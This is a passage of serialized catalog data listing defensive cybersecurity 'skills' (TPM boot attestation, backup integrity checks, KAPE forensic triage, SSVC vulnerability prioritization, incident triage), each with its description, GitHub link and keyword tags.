response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":133,"name":134,"nameZh":6,"description":135,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":139,"publishedAt":45},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[138],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[140,128,141,142,33,143,30,34,144,145,146,147,148,149,150,151,152,153,154,155],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":166,"publishedAt":45},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[162,165],{"categoryNo":163,"categoryName":164,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[150,167,168,169,170,30,171,172,144,173,174,175,176,177,178,179,180,181,182,183],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":185,"name":186,"nameZh":6,"description":187,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":188,"categories":189,"keywords":191,"publishedAt":45},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[190],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[192,193,194,30,195,196,197,198,199,200,201,202,203,204,205,206,147,207,208,209],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":211,"name":212,"nameZh":6,"description":213,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":214,"categories":215,"keywords":217,"publishedAt":45},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[216],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[218,219,220,30,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":238,"name":239,"nameZh":6,"description":240,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":241,"categories":242,"keywords":244,"publishedAt":45},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[243],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[33,245,30,246,247,248,249,250,251,252,253,179,254,180,255,256,257,258,259,260],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]